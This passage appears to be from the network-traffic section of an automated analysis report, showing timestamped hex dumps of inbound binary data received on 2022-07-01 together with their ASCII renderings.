c4 58 bd 5c 9a 3d 0e c5 55 cd be 59 d2 b2 64 e0 92 18 c8 03 20 3e ad 41 f7 ba 7b 8e be f2 a7 83 06 5e 46 cc 87 1c 12 
83 48 1b da 8f 79 df f6 2a e3 b8 28 1c 10 33 de bf 04 bf 33 f2 fb 2a 5e 16 60 79 97 77 fb 74 8b 21 73 39 75 e4 90 2e 56 13 
90 43 37 4c 64 9d 28 9b ff 00 af 42 cb a3 2f 21 ce 9d 31 0e d8 1e 51 fd 3d 5d 6a 78 f0 e9 0e cd ea df 77 49 20 ea b7 6b 
73 fc aa c7 f3 4c 3c 88 66 12 22 95 c4 9a e5 09 ec a3 7d df 19 3d e7 73 d6 55 ae d9 8c a4 e9 83 a8 e2 f3 7f e4 ab 31 f7 
1c 8e 77 fc 3d 6a af 2b 0d 4f ac 8f 7e 32 6d 6b da 4d ee 
Data Ascii: \iP=L@k;|]pf2!v")z_%\V[) 6ILL:A$DlX\=UYd >A{^FHy*(33*^`ywt!s9u.VC7Ld(B/!1Q=]jxwI ksL<f"}=sU1w=j+O~
2mkM

2022-07-01 09:01:57 UTC 6204 IN Data Raw: 1e 03 b4 92 8c 96 ba b3 06 8d 81 b3 5b b1 be c9 a7 d6 e9 a3 4e 92 e3 2b b1 dd 65 eb 76 d8 71 a6 7f e1 50 6b 
62 ab f3 5a b3 59 5c 9a 2c c0 f3 60 4c 44 ae 49 68 dc 15 90 5f 7b d6 c3 fb 7e ca 98 f2 af 95 f1 f9 45 e7 9a 4e 24 96 da 7b 
16 f1 70 f7 bb b4 fd 30 60 40 10 22 ec db f9 7d 2f 1d 53 cc 39 4e 3e 49 49 5c 12 c8 08 01 76 51 4f df 09 ce 31 8f e5 e2 c7 
de 05 fb 4f a7 fe 9a 54 a4 65 35 27 26 a0 65 e4 38 79 98 bc 28 dd c4 6e 75 06 d6 4f d5 df f1 d5 90 e0 72 de 57 65 68 20 
4d 4a 15 0b 1d ae c3 b5 eb 1f bf 46 88 e4 81 22 8e 05 22 2b 90 c2 c2 eb b3 75 f7 b7 e8 3c ec 35 91 f8 92 c5 1c f1 a7 76 
d7 6b f8 b7 fd 5a 7e 25 2a 39 e4 8c 81 99 c1 f7 b7 c2 3f eb d1 11 fd 35 54 50 72 d5 24 06 13 c8 ec 4e 95 6b 9f d1 7f 75 
e3 96 8d e5 c0 43 26 93 02 20 3b 01 b8 77 63 e9 2e 
Data Ascii: [N+evqPkbZY\,`LDIh_{~EN${p0`@"}/S9N>II\vQO1OTe5'&e8y(nuOrWeh MJF""+u<5vkZ~%*9?5TPr$NkuC& 
;wc.

2022-07-01 09:01:57 UTC 6220 IN Data Raw: 24 4c 16 6d 2a 3f fc 13 7e 3d 1f ca ac ee 22 3e 2c 8a 63 b3 5a 40 6e db 10 e8 3b ba fc c7 ad 1c fc ca 19 35 4d 
90 89 0e 56 a3 6d 1b 9d 5e cd 74 b6 a8 e9 1d c3 60 85 82 75 b3 f8 9f b1 fd dd 74 58 31 20 1c 31 d8 be 6a f3 ac 33 6b c4 
cc 49 61 8f 5d e2 d6 81 2c 5c 7a c6 7c d8 91 21 ed fb 34 aa f3 30 e3 78 99 84 c7 21 e2 60 18 31 ec af 61 3d 5a 77 bf 17 
de d3 2f 96 79 8e 74 a8 f0 48 38 b0 35 83 29 3b e0 b9 f7 3a d7 82 d1 a2 f6 f8 9d ba e7 cc 18 f9 1c b7 8b 1c 7c 35 8d a3 
20 95 5b b4 83 76 3d fe 23 71 22 e0 f8 3d 95 23 a0 55 4c 82 43 1a 36 92 22 a7 52 2c fc 8b 53 16 2c ea d8 e4 ca d9 5c d2 
99 f1 61 99 09 92 d1 f4 29 b9 16 3e cf 82 fa 3c fe fd 64 f9 ac 63 1f 27 86 0d c0 24 8f c9 dd ad 8f c3 97 88 cb 15 89 8d 1d 
49 3e 78 d4 af 37 f0 5f 7f cc ac c4 3c bd 72 22 93 
Data Ascii: $Lm*?~=">,cZ@n;5MVm^t`utX1 1j3kIa],\z|!40x!`1a=Zw/ytH85);:|5 [v=#q"=#ULC6"R,S,\a)><dc'$I>x7_<r"

2022-07-01 09:01:57 UTC 6228 IN Data Raw: 41 85 8e 56 02 22 53 72 4b 1b b1 3e 7c 9d fa e6 24 46 29 c6 d2 51 ae a5 d4 5a 40 3f 0b fe 4a ab 92 73 d8 39 
da 15 41 a2 48 bb a4 6a 20 78 e9 8a a3 c2 bb a4 3b 5b 65 f7 6e 7c f6 aa ce e6 23 bd 97 f3 39 e4 f9 ff 00 97 bf 46 8a 2d 
a1 ac cf cf 59 b1 c3 14 78 58 f3 16 db bf 10 1e b0 af 71 a6 93 fe 9d 63 33 b1 99 74 95 06 da 7c 95 f5 b8 f0 15 a4 19 06 24 
59 c6 d0 fa 46 c7 b6 8f af 49 b2 b9 d7 2e cb c9 7c 2e 6b 12 a8 56 21 5c ed 57 3d ed e5 ec 56 ac 1f 8b 81 61 14 5a 47 ac 
ab 1d 26 58 b2 25 89 d3 86 be 56 b1 b6 bd 2a 2e 7a ab 55 f2 19 45 cd 63 97 29 8d 63 4d 41 35 69 d6 d7 f0 27 b4 d3 e0 
a3 7e 73 f9 5f 17 02 25 ce c2 6d 0a e6 da 6f 75 e8 f7 6f 59 8e 41 cd 97 93 66 0c a7 52 f6 56 16 eb bb 56 b4 92 af e2 7d 
93 18 43 64 e3 15 53 ba f9 f9 2a a0 4e 93 8c b8 6b ec f3 
Data Ascii: AV"SrK>|$F)QZ@?Js9AHj x;[en|#9F-YxXqc3t|$YFI.|.kV!\W=VaZG&X%V*.zUEc)cMA5i'~s_%mouoYAfRVV
}CdS*Nk

2022-07-01 09:01:57 UTC 6244 IN Data Raw: 59 16 b8 a3 3c 4d 9f 96 d7 35 4b e6 89 94 2d e4 2a b7 1b 09 03 67 63 47 73 dd f1 37 fc ca a2 a1 af a6 b5 61 
ac 7f 3d 54 f8 f1 5e cc d6 20 ed 27 65 b6 e9 f1 68 a5 79 aa b8 cc 62 94 16 62 76 5b bb f8 7e 9d 35 4c 9d 1a 9e 2b 2b 81 
b3 56 f5 c6 e6 ee ff 00 63 d0 dc a0 27 c4 9b 25 83 5d d8 81 72 09 b6 f5 fb 5f 62 ad 42 6c db e6 cb 4b 75 be cd b5 e1 83 
a1 42 85 5b da f6 f4 be eb ef 3b 15 c9 f1 12 25 24 11 a5 46 d2 0d bf e7 a9 c1 1d 81 5b 68 f2 5c df 6f 77 d9 ef 6b af 73 39 
38 c8 b1 a7 b4 1b ce 6d db 6f 33 cd ef d1 86 6c c0 be 9c c6 98 00 b6 be 8a 5d 12 b0 16 62 01 bd 87 d3 56 e4 be 85 04 30 
2d b0 5e a5 a5 4a 28 4b 95 d4 0e de d1 f1 6e fa 74 0e 4b eb 36 1a bc 9b 7a 6a c2 ef 1b d2 98 d8 57 35 1b ed 3b 0d 89 fc 
d4 4c 82 38 b2 1a 3d 5a 90 81 63 e5 d4 38 89 43 42 9a 
Data Ascii: Y<M5K-*gcGs7a=T^ 'ehybbv[~5L++Vc'%]r_bBlKuB[;%$F[h\owks98mo3l]bV0-^J(KntK6zjW5;L8=Zc8CB

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 6260 IN Data Raw: a1 4d ad 6e 83 d8 fe 5e 8a a1 d2 29 50 bc 9b ce 0f 41 fc bc 3a 1e 7c d6 88 aa a8 d4 d2 01 a5 88 f2 ff 00 7a ba 
f1 b9 9d 75 10 c3 48 da 06 cb 8e d5 42 a5 ad cb 52 48 a2 67 85 03 95 5b 1d 4f 70 47 46 9f 77 aa 97 64 03 09 e2 41 d9 17 
24 30 06 d4 e2 53 1c 71 ac cb 6d 45 94 8b 74 6e ef cc c9 da fd 3a 5c d1 a3 ea 2c 4b 31 62 4e cd 84 77 6b a2 6f 4e cd 9e 
d5 43 0a 82 c2 52 05 63 d0 46 ab f5 ef 69 fd 4a ad db 88 57 a8 6d da 7c bf b7 44 12 4c 7a 09 16 5d 20 db a6 de 75 4a 18 
75 ef 4a 37 47 5d 33 2b 5c 9a 1b 5e a4 ed c2 46 5b ea 65 04 6d 1b 35 0d 3f a7 54 18 25 86 25 ca 56 d2 0d c5 d4 e9 22 
de 67 8d bc ca b2 77 72 fa 5c 58 b0 b1 b6 db f8 37 bd 1a 86 2c 65 2c 41 d2 e4 85 0a dd 9b b7 bd d5 27 b3 4e fa 54 0d 05 
ff 00 a7 d6 a9 62 4e 95 21 1e 49 1a e0 25 9c 9b c9 aa db 
Data Ascii: Mn^)PA:|zuHBRHg[OpGFwdA$0SqmEtn:\,K1bNwkoNCRcFiJWm|DLz] uJuJ7G]3+\^F[em5?T%%V"gwr\X7,e,A
'NTbN!I%

2022-07-01 09:01:57 UTC 6267 IN Data Raw: 51 6d e6 e1 bb fe 1c 74 d2 a4 aa a9 39 06 5e 1e 7a 54 a1 90 b5 c0 8c 32 71 22 f5 99 97 d7 4f bc a1 30 e0 9e 
5c e9 22 68 06 41 81 99 74 6d d3 fc 5d c6 4d 7b 94 e7 9f ca b0 98 f1 a3 52 b3 40 ca ea 1b a1 78 83 d8 43 f8 30 d4 33 7e 
58 c9 9b 23 22 68 8b 09 35 6a 50 06 c9 2c ab bf 1c fa bb fe ee 95 73 3e 64 33 32 62 62 c5 a6 31 00 de 5b a6 ad 5a a9 56 
e8 a9 c7 77 8a aa c0 23 dd 72 e1 82 0c a4 3b df 16 5f 87 9f cc f7 54 24 59 b2 ac eb 3e a2 24 0c 1a e3 66 da 9e 2e 06 4e 
5c 9a e2 56 99 cb 13 b0 6a b9 ed ef 51 78 fc a5 73 6d 1c 6c a8 e4 5c 16 27 4f e8 d7 25 f8 ce 57 1b 42 a1 91 76 29 70 08 
57 20 fb b9 7c 14 0b 27 51 14 ec 19 ef 3d 5d eb 07 20 45 82 49 c3 bf c2 d1 d5 b9 98 72 f3 ec 77 c4 c8 0b 1e 74 6f 78 b5 
01 16 b1 bd c7 c6 ec f6 be ea 97 61 62 60 b0 4c 7d 3a 25 
Data Ascii: Qmt9^zT2q"O0\"hAtm]M{R@xC03~X#"h5jP,s>d32bb1[ZVw#r;_T$Y>$f.N\VjQxsml\'O%WBv)pW |'Q=] EIr
wtoxab`L}:%

2022-07-01 09:01:57 UTC 6283 IN Data Raw: 4f c8 30 a7 62 ef 0a ea 3d 24 0d a6 a9 cb f9 6f 0b 25 55 5d 34 e9 16 52 bb 0d be ad 38 26 bd 44 27 95 6d 66 
6d 36 6f 57 62 2b 35 27 c9 78 4c 41 52 c0 8e 8d bf ad 55 cb f2 4c 4e 6e 24 20 f5 d6 a4 8b f4 9a f5 85 3b f9 de e0 0b 66 d6 
a1 c1 6f 7a ca ff 00 f8 95 6b 68 9e c0 74 dc 5c da bc df 26 31 f7 a0 9b f5 8e aa d4 d8 57 b4 8a ef e7 a7 f3 7d 55 a9 c0 56 
4d 3e 4b 91 1c 95 91 40 3d 76 24 d4 87 ca d9 3a 15 1e 40 42 5f 48 03 4d 81 ad 4e 91 5c d3 53 fc f4 de 27 ea d4 14 06 b0 
d3 fc a7 9a ad 61 67 50 76 1a 87 fb 4e 7c 43 80 f0 92 b7 b8 23 6d 6e 99 5a a0 ca e6 9c 3f 10 90 e8 c1 1a 84 a0 35 f3 79 
70 32 44 e6 59 61 7b a8 b6 d1 d3 e1 a0 9b 0a 68 1f 89 32 b0 2f f4 75 d7 d3 99 e4 5d 85 6f 50 66 57 ed c7 b4 55 a5 fc 49 
80 b6 22 de ab 50 74 c0 24 f8 9a f9 d4 58 73 ec 7d 
Data Ascii: O0b=$o%U]4R8&D'mfm6oWb+5'xLARULNn$ ;fozkht\&1W}UVM>K@=v$:@B_HMN\S'agPvN|C#mnZ?
5yp2DYa{h2/u]oPfWUI"Pt$Xs}

2022-07-01 09:01:57 UTC 6299 IN Data Raw: e7 ba 9b b9 5c 9d 47 47 2e 15 a7 26 9a 9f 0f 4f 2d 74 64 70 e6 e1 3d d9 d7 7b 67 66 8a 8f 36 5e 92 bf 9e a9 
92 75 5b 47 b6 dd 44 7e f5 59 ad 9c 00 2f 65 e8 14 83 37 4c 91 16 51 01 bc be 66 6f 5e 88 d8 f8 57 83 33 ed 3b 49 35 d5 
de 37 35 ed 42 c0 30 de eb 35 00 e7 b3 71 6e a1 d1 55 c8 17 b9 39 13 bd f3 bd 7a 8a b9 88 b5 93 ff 00 de 6b bc 46 88 69 
04 5b af ae 84 6e 61 1a 30 59 5b 77 f2 52 b6 f9 8a 38 d4 eb 0a 85 d8 88 ef b6 f6 f4 3b f5 65 03 92 5e 3d c2 77 6e 9b 98 ff 
00 77 5d 8f a6 9a 73 0c a6 c4 80 bc 7e b1 f6 1d 1e 5b f8 6a b1 98 c1 2e c8 4b db a2 a3 8b 96 af 1a 96 20 1b 5e bd ae 01 
27 12 e2 ef fd b4 96 37 d0 af 0f b5 53 6a 5e 60 cf 32 24 bc 60 a2 f7 d0 c3 50 02 dd 95 f3 aa c3 cc 26 85 95 9c 16 52 c1 49 
02 c8 2f f5 b7 59 e8 dc 7c c8 72 2f c2 60 e1 49 eb 
Data Ascii: \GG.&O-tdp={gf6^u[GD~Y/e7LQfo^W3;I575B05qnU9zkFi[na0Y[wR8;e^=wnw]s~[j.K ^'7Sj^`2$`P&RI/Y|r/`I

2022-07-01 09:01:57 UTC 6307 IN Data Raw: ed 5e e2 82 2f a6 f5 0b b3 1b 00 49 3b 2d 5e 12 80 ba 4d ef 7f 2e cf af 53 8d 75 fc 2b b2 38 b7 41 17 fa 6a 46 
7d 63 45 c8 fa 05 7b 48 eb 37 3e 42 2b 8e 40 e9 1b 47 46 da ed b5 22 bc 0a 9d 86 e4 ff 00 6d 49 55 58 5f 6e cf e9 a6 aa 
89 83 12 74 ec 1e 4a b7 e2 06 38 d2 db 0f 4d 8f 4e de f2 e9 a9 2a 7c 2a 01 be 95 d4 58 ce c6 d9 73 46 1c 6b 9d 01 86 a0 
2f d5 4b b8 ca fd 00 5b e9 af 32 d9 b5 2e cb f4 d0 15 27 c6 d5 34 54 70 b1 26 e4 6c ea bd ff 00 56 ba d8 ce 82 ec 40 5f 28
a0 2e c0 95 51 b4 74 d5 a9 3c 9a 74 b9 36 1d 5e 5a 92 8d e9 15 df 9e ac 64 d7 da 04 93 d1 b6 db 3d 1d 35 0e 13 25 b6 
12 3a ad 5e 19 0a 0e dd 83 c9 52 32 c8 c0 3a ec 06 bb 51 f9 ab 85 42 6c e9 55 d5 02 b1 1e 5e 9a 92 b3 2b 6b f2 f9 2b af 
21 be dd a3 fa 6e b5 74 ac 86 da 74 91 d4 07 47 d6 ae 
Data Ascii: ^/I;-^M.Su+8AjF}cE{H7>B+@GF"mIUX_ntJ8MN*|*XsFk/K[2.'4Tp&lV@_(.Qt<t6^Zd=5%:^R2:QBlU^+k+!nttG

2022-07-01 09:01:57 UTC 6323 IN Data Raw: 5a 32 34 85 81 50 7a 7c 83 bb 55 c6 89 09 e1 c2 55 14 dd ad d2 4e ad ee 27 da a1 64 80 4b 2e ea 82 36 87 
b1 22 df 5d 3f d5 e1 d7 31 24 90 a8 05 77 8b 30 1d 3a ac bf 8b 2a 45 ab 73 c7 50 22 5c 32 07 da 8e 86 c6 e4 54 c6 44 cc 
03 c8 11 a3 37 d4 a0 ef e9 5e c7 0d 74 fa c7 d5 40 1e 71 c3 68 f1 49 5c 66 3b 6c ca 49 b5 f5 f6 fd 9c 52 ba 77 29 94 92 29 
1c 1c a5 3a 48 3b 54 6f 0f 3f 8c bb 95 e0 b8 59 5a 59 08 74 ec 85 24 15 27 77 4f ab fb c4 ab 29 db 86 8c c8 b8 c8 a8 32 
2a 9c 69 fd dc 9f 12 98 37 46 bf a2 86 93 98 c8 92 6a 20 34 62 e1 0a ef 6a d5 f7 ad ee ea fc 3c 81 3d ec 0a 10 01 40 de 
13 da d0 8b fa f5 56 7c 99 51 1b 62 40 b2 a3 76 8e ad 1a 7c 5f c5 93 cc a8 e2 63 4f 34 42 24 d1 1a c5 d3 a9 b6 f9 ea d9 
09 ad df 89 fc ba 5c 70 89 54 05 c1 5d b7 51 72 df 6f 99 
Data Ascii: Z24Pz|UUN'dK.6"]?1$w0:*EsP"\2TD7^t@qhI\f;lIRw)):H;To?YZYt$'wO)2*i7Fj 4bj<=@V|Qb@v|_cO4B$\pT]Qro

2022-07-01 09:01:57 UTC 6339 IN Data Raw: f6 5a f4 f0 b2 c0 ec 58 83 2c aa bb 7a d4 a8 fb bd 5e 7d 07 97 91 26 4c 17 c6 37 25 b6 1d 85 86 ce 24 53 2f 8d 
78 9b 94 9a 5c 85 96 51 90 9a e3 76 60 49 54 66 6d 7d 96 5e 26 e6 37 f4 96 a1 ca f3 67 c2 59 22 95 9b 8d a8 92 b6 5d 
97 de fe 9c 39 29 af db a8 25 97 79 57 48 d6 4e 3f 6e 99 d3 03 ff 00 d6 8a 49 b2 a0 c6 8f 8e 08 91 d5 d8 6b 52 83 cf 81 
1b c5 ef 3d 67 0f f0 eb b8 d8 ed 1c 44 c5 24 8d 20 0b ad b6 6d bf ac 8a 46 f3 2a ec 6e 69 1c d0 a6 d2 91 dc 69 57 0d 72 
1b 77 bf af b7 ed 22 9b f9 74 26 36 5a 97 42 d1 b0 65 dd b1 1a b7 3d c4 9e af 73 5f f1 91 3f 0a 84 83 ad 97 1f 16 14 04 58 
d3 97 79 15 24 90 4a 0b ad cb 58 5b 75 7f 0e 97 9c 7c b5 55 6c 61 a4 b2 b1 ba 91 b0 bf 63 8c 9d d8 b4 c7 f8 9e 65 71 f8 
4f 90 c7 4b 17 d3 ba e0 d9 b7 b7 74 af bb f3 3b 1f 77 
Data Ascii: ZX,z^}&L7%$S/x\Qv`ITfm}^&7gY"]9)%yWHN?nIkR=gD$ mF*niiWrw"t&6ZBe=s_?Xy$JX[u|UlaceqOKt;w

2022-07-01 09:01:57 UTC 6342 IN Data Raw: 6d 5a 16 50 2c 31 47 fe bd 6d c9 d8 11 77 8b 83 c3 2a 62 b3 2c 23 8b 32 ee a9 b5 cb 69 8d 88 67 5f 5d 2b 54 
67 cd f8 c9 74 b2 0e 2b 95 d2 c8 7d 5e 83 ba 88 8f e0 dc ab 39 54 70 c7 11 48 65 9b 44 a3 49 46 3a 95 c9 55 d7 ea bd 97 
99 ec fe ea a9 4c 33 04 c7 2b 24 07 0b ba a5 4b 2a dc 0d d5 68 9f 47 72 bc fc 91 a4 6e ca 72 ea a6 e9 e5 df f2 26 fd 66 
14 65 24 37 85 53 8b cb 0c d8 b2 48 fa 84 e0 dd 00 3e cc 6a d0 ff 00 11 1f b4 ee 3e 8f e1 d1 8b ca a2 38 b7 79 19 9c 76 
4f 42 03 d8 df af 20 c8 c7 32 32 90 71 9b 79 b4 df 71 98 6f 77 77 f7 3f 89 eb 3d 65 11 81 84 64 90 47 ac 34 24 81 e4 31 
ec fb be e3 ea ec 71 3f 89 49 92 46 d4 e5 65 be 62 df e9 d7 63 e8 aa e5 ca 83 06 22 d1 8d 2c 36 95 3d f3 e0 e2 7f 4e 1d 
03 0f 30 8c 33 68 46 06 4d e4 1b 35 6d df ec 2f 62 8e c2 
Data Ascii: mZP,1Gmw*b,#2ig_]+Tgt+}^9TpHeDIF:UL3+$K*hGrnr&fe$7SH>j>8yvOB 22qyqoww?=edG4$1q?IFebc",6=
N03hFM5m/b

2022-07-01 09:01:57 UTC 6358 IN Data Raw: 3c 4f 68 dd fa 0b 37 92 66 f2 e4 2d 93 0b 22 ea d2 49 e8 bd 6c 79 fc 93 47 72 ba 96 34 6d 37 1d b2 bd b5 d7 
c4 ec 3f b4 8d 26 d1 eb 7d 9d 29 86 79 b0 90 95 95 89 98 6e 82 37 45 bd 97 17 f1 97 cc ab 0b db 64 2e 0d 26 f3 4a 3a 86 
db da 28 b5 66 d2 42 14 0b d4 a3 93 71 81 fa 2b 41 9d f2 fc 59 6c 65 c7 22 27 6b 9d 37 f5 6c df 85 df 8b 88 ff 00 79 b9 45 
62 72 a4 e4 a8 5d 02 cf 3b 01 66 61 b2 3d 9e b7 73 b3 40 b0 c8 1e df f5 a2 13 1d 05 b7 ab 37 8c ef 01 d4 c0 e8 3e 51 ba 
de 65 1b 8f 99 1c 6a cb 16 c6 6b 8f a2 de 65 35 51 8d 8f 03 a6 74 9c 5e 21 db 18 3d 8f 06 8f 07 f1 53 f8 74 8b 99 08 f1 f2 
5a 28 c1 55 4d 96 6e d5 59 5b c5 b7 79 2a 43 07 d1 86 8a 76 f9 a8 b9 f3 99 f6 dc 96 b8 e9 db b7 f7 2a 03 98 3a b5 ec 2e 
2d b4 0d 36 f1 76 29 77 14 96 da 6a 70 2b cc eb 1a 
Data Ascii: <Oh7f-"IlyGr4m7?&})yn7Ed.&J:(fBq+AYle"'k7lyEbr];fa=s@7>Qejke5Qt^!=StZ(UMnY[y*Cv*:.-6v)wjp+

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:57 UTC 6374 IN Data Raw: 36 d1 d0 3c b5 6c 58 fc 47 11 dc 8b 74 d5 78 20 b3 3c bf 4d 85 35 e5 f8 a6 49 cc a3 a0 a7 fc 7d 5f e8 52 a5 90 
a8 62 4f 08 a5 c9 21 61 bd 4a 5d 0a ec 35 34 6d 22 de 4a 1f 2c b4 73 b0 52 76 9d 82 88 12 05 f6 97 b1 e9 b5 35 80 21 7d 
6a 0b 30 35 24 c8 60 74 f5 79 2a 5a 62 b1 2a ba 5b ae dd 1f 66 8b 7c 0c 56 c5 19 50 cf a9 ef 63 19 5b 3a d0 aa 82 95 75 
60 59 32 18 e8 dc 95 27 24 20 37 37 0d 09 3c 46 22 4f 76 fd 55 52 ab 3d 82 82 49 e8 14 f3 2b 97 34 78 a9 9c 1b 72 47 28 
47 90 a8 5f d7 aa f9 64 2a 27 53 6e 8d b4 63 ba b4 65 86 f6 3b bf 39 29 e9 dc 48 a2 c7 f4 5e 97 9e 5d 90 8e 62 91 0a 38 
17 21 b6 75 6a a3 b1 70 a3 11 5d 94 33 be c1 7a 63 9a dc 5c c1 27 96 c0 fe 4a aa 25 b4 80 0e 85 dd fe aa ae fd d3 ba 0b 
ee 9b 64 71 a2 69 dc 8a 0b 27 02 24 3b 9b 96 3d eb d5 
Data Ascii: 6<lXGtx <M5I}_RbO!aJ]54m"J,sRv5!}j05$`ty*Zb*[f|VPc[:u`Y2'$ 77<F"OvUR=I+4xrG(G_d*'Snce;9)H^]b8!ujp]
3zc\'J%dqi'$;=

2022-07-01 09:01:57 UTC 6379 IN Data Raw: 4e ee eb 76 28 7e 4e d9 10 93 36 3c cd 10 bd 99 46 d5 7b f8 d1 fd 5d 31 e4 f9 87 e3 72 72 e5 ed 32 b1 fc f7 fe 
e5 66 f7 0e 3a 2e 15 af 27 dd e3 8e 14 68 d9 2e f8 de 5d d5 dd e4 a5 59 eb 6c a7 d1 b5 10 e9 ae 15 d3 91 a7 ca c4 d7 14 
96 6b b7 4b b5 ea d9 50 fc 60 1e 55 04 9f 26 ed 06 c1 6f 42 54 9d 95 6e 53 0e 18 41 d2 dd 3e 8d 2f 78 80 34 5b dd da e3 
af a3 f2 0e cd 57 22 6d da 2b 93 77 4a 59 b5 a9 cf ca b0 df 19 dd 86 c5 76 6f b2 a9 55 fc f1 20 c2 e5 d1 62 0e dc c6 e7 f2 
2e f7 eb d5 3c bf 17 29 70 c4 81 4f c2 bb 95 91 86 d3 a4 32 b3 7a bf a9 59 ff 00 9a f9 e1 e6 f9 c6 4b 69 48 c6 85 03 e8 a5 
c3 03 4b dd 66 0e 49 1b 33 b5 b9 59 3e 1d 14 76 0b 7f e8 a1 b9 2f aa ca 85 ef b4 be 9b 5b cb b9 4d d7 0f e2 79 8c d1 81 
bd a4 ff 00 58 a4 e7 9b 33 08 31 96 dc 38 dd 5a 
Data Ascii: Nv(~N6<F{]1rr2f:.'h.]YlkKP`U&oBTnSA>/x4[W"m+wJYvoU b.<)pO2zYKiHKfI3Y>v/[MyX318Z

2022-07-01 09:01:57 UTC 6395 IN Data Raw: 97 bb 91 f4 0f f8 53 4e 53 0a 83 c4 7e c8 1d 7d 14 95 32 03 c8 50 1e c9 a2 9e 66 75 11 8b 84 1d 5f b4 d4 12 
21 23 1e 1b d1 a3 00 2f b6 98 f3 4c c8 b2 65 8b 85 d9 4f a3 ae f4 b7 09 99 86 ce d5 c5 ab b1 82 c4 5c 6c a9 72 a5 32 64 
46 be 26 14 21 44 68 40 d8 a2 bb 2c b5 a2 11 bf db b3 87 09 6d 1a 8d 36 1d 16 f7 95 de 79 93 f1 13 58 74 2e c1 4c 73 31 
e3 24 3b 74 af ff 00 0d ea ce c9 3e b9 48 eb bd 04 56 90 87 b6 f2 2e 37 a1 63 8e 87 c4 d3 ac 1e 54 f9 98 de ac 0b ed b8 
34 97 22 11 04 dc 37 03 89 16 a5 bd fc 7a 77 69 f7 2f c9 78 55 55 0f 48 a4 19 f1 b9 96 47 fc ff 00 d5 45 09 62 ec 09 dd e5 
a1 72 aa 43 0f 4e 26 94 64 48 c1 a5 42 74 c6 d6 1f 67 c3 52 e5 79 d0 44 fc 22 34 ab ec 27 af d3 a1 e5 91 73 1b 41 36 93 
bb e4 6f 36 97 cc 8c 84 82 2c 47 55 6b 2c 41 86 27 74 
Data Ascii: SNS~}2Pfu_!#/LeO\lr2dF&!Dh@,m6yXt.Ls1$;t>HV.7cT4"7zwi/xUUHGEbrCN&dHBtgRyD"4'sA6o6,GUk,A't

2022-07-01 09:01:57 UTC 6411 IN Data Raw: 3d 2c 7c 55 95 cc 48 e4 c3 ff 00 70 c9 8e 59 24 61 60 ca 40 89 5a fe fd df 7f d0 4a 28 58 77 72 87 b6 ea 33 c4 
aa 79 f7 29 ca 82 34 c0 ed 61 95 57 89 f3 1c 8c c1 64 85 49 f2 a9 28 6d fa 71 d5 f9 1c d3 27 97 a5 f1 8f 08 ca bb c4 76 ac 
0b ee ea a4 7c bf 3e 36 ca 8f 8e a3 82 1b 6a 8b ed 1e 1d 5d bf af 4f db 36 14 c1 70 63 0c 24 2e 8a cd b4 c7 ef 17 47 9f bf 
56 25 89 51 80 c2 e1 ad 92 f2 54 c7 75 1a 9d 6f 57 7c 9a ad 26 36 56 54 a6 fb a5 47 e6 1c 67 ff 00 a7 5e e5 70 09 39 7e 
4b 9e d4 68 92 2f 97 52 97 6a bb 1e 21 cb 70 86 38 b8 3c 36 24 79 ee 35 3e af 42 a3 81 3a e3 62 cd 1f 5c 80 a8 b7 d0 bf 
fa 94 9b 86 76 7d aa f2 26 ef 06 e4 54 83 26 4a cc 74 c4 e2 5a ac e6 79 c3 99 18 f2 00 00 b4 49 aa de 31 a9 25 fd 3a ce 
73 dc 72 23 5c 90 36 03 a1 8f e5 df 8b f6 e9 be 
Data Ascii: =,|UHpY$a`@ZJ(Xwr3y)4aWdI(mq'v|>6j]O6pc$.GV%QTuoW|&6VTGg^p9~Kh/Rj!p8<6$y5>B:b\v}&T&JtZyI
1%:sr#\6

2022-07-01 09:01:57 UTC 6418 IN Data Raw: 81 3a f6 b1 fa 3b a9 56 a1 01 11 54 9f 0d 69 c9 11 c4 0d 9e 2c 7c b4 36 4c b2 73 29 82 c4 a5 82 ec 45 02 e6 
df df ad 37 ca 38 d3 e3 ac e9 32 32 5f 4d b5 02 3c 74 ef ff 00 6f 79 48 85 5f 31 d4 05 ec 27 d2 7d eb d3 ff 00 98 21 2b 14 
72 b1 24 eb d3 b4 f7 59 5f 77 47 63 b9 54 bb a2 d2 c2 f6 0a 23 5e 1c 79 ba 7b f2 56 8c 22 ea 31 dd 03 85 7d 5a f9 c7 38 
1a 5d 87 46 df fe 34 24 5b b1 96 eb bd 1d cf 56 d2 30 eb bd 0c e8 12 3d de 83 e5 a5 c6 77 17 e5 aa 58 ed b7 83 57 71 c9 
e9 14 ff 00 92 fa c7 d2 6c 05 67 a0 24 0a 73 85 95 c1 c2 9e 55 53 ad 63 20 11 d2 59 fd 5a 7e 9b d2 7b 85 24 58 6d 6d d1 
f3 a8 e1 01 a4 02 f6 d6 94 63 cf 0f 30 cd 92 51 1a a4 2a 5d 98 f6 99 ec 78 8f a9 fc ff 00 65 16 8f bc a0 27 f9 8f 3d 65 97 
85 33 22 c8 d7 65 53 65 2d e8 f9 b4 cf 97 43 f0 d0 
Data Ascii: :;VTi,|6Ls)E7822_M<toyH_1'}!+r$Y_wGcT#^y{V"1}Z8]F4$[V0=wXWqlg$sUSc YZ~{$Xmmc0Q*]xe'=e3"eSe-C

2022-07-01 09:01:57 UTC 6434 IN Data Raw: b5 12 cc d2 36 47 4f d9 5a a8 44 11 8b c6 34 9b 5b 65 2e 38 92 40 c4 b6 d1 e2 14 e8 c1 bb a8 1b f9 6a 1a 0d 
a9 36 89 94 f4 cd 9d 77 58 35 17 59 d2 c1 8e 6b 48 39 86 41 5c 66 00 ef 48 74 fd 5e db d2 b8 01 1b 2d 5a 8c be 4c 99 80 
32 59 64 1d 17 ec 1f 4b c1 48 25 8e 7c 79 be 1e 75 d0 47 57 ed 79 f4 e8 f1 54 c4 1d 78 9a b5 bb 29 52 44 b2 f1 29 df a1 
59 74 b5 74 0d b5 6e 43 2c 24 ec bb 75 7d 15 de 5b 8b 26 6c 82 28 85 dd 8d 87 f4 f3 69 85 82 a6 47 41 56 4b 01 73 4c 
39 27 25 7e 69 30 51 d8 be f1 fd 8a d2 73 de 72 22 88 60 e2 1d 30 ae e9 d3 b3 57 8b f9 55 ec f9 62 e4 18 2b 89 17 ff 00 
51 22 ed f3 50 f7 bf 89 3d 66 38 a5 f6 b6 da af 7b 00 dc ed c3 ea 46 df b7 4a 8e f9 75 1b 9f e1 2f dd a7 f5 eb 4f f2 b4 46 
48 a5 64 d8 d1 90 75 0e 9f c3 fb 1a 2b 61 8b f3 8c 7d 8c 
